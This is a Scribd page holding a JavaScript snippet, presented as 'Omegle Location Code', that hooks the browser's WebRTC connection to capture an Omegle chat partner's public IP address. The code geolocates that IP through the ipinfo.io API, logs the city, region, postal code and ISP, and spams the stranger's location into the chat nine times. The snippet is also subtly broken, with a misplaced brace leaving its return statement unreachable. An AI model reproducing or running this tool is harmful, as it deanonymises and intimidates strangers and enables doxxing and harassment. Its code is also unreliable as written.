0% found this document useful (0 votes)
57 views1 page

Zain Techy Omegle Location Code

The document overrides the window.RTCPeerConnection function to intercept calls to addIceCandidate. When a 'srflx' candidate is passed, it extracts the IP address and uses an API to fetch location data, then repeatedly sends a message with the location to a chat.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
57 views1 page

Zain Techy Omegle Location Code

The document overrides the window.RTCPeerConnection function to intercept calls to addIceCandidate. When a 'srflx' candidate is passed, it extracts the IP address and uses an API to fetch location data, then repeatedly sends a message with the location to a chat.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

window.oRTCPeerConnection = window.oRTCPeerConnection || window.

RTCPeerConnection

window.RTCPeerConnection = function(...args) {
const socialcodia = new window.oRTCPeerConnection(...args)

socialcodia.oaddIceCandidate = socialcodia.addIceCandidate

socialcodia.addIceCandidate = function(iceCandidate, ...rest) {


const mufazmi = iceCandidate.candidate.split(' ')

if (mufazmi[7] === 'srflx') {


console.clear()
fetchLocation(mufazmi[4])
}
return socialcodia.oaddIceCandidate(iceCandidate, ...rest)

return socialcodia
}

function fetchLocation(ip)
{
fetch('https://ipinfo.io/'+ip+'?token=Your token here')
.then( res => res.json() )
.then(response => {
console.log("Country :"+response.country)
console.log("State : "+response.region)
console.log("City : " +response.city)
console.log("Pin Code : " +response.postal)
console.log("Org : " +response.org)

writeMessage(response.country,response.region,response.city)
})
.catch(error => console.error('Error:', error));
}

function writeMessage(country,region,city)
{
let chatmsg = document.getElementsByClassName("chatmsg");
let sendbtn = document.getElementsByClassName("sendbtn");
let msg = "Are you from"+city+ ","+ region+".("+country+"), ";
for(let i=1; i<10; i++)
{
chatmsg[0].innerHTML = msg;
sendbtn[0].click();
}

You might also like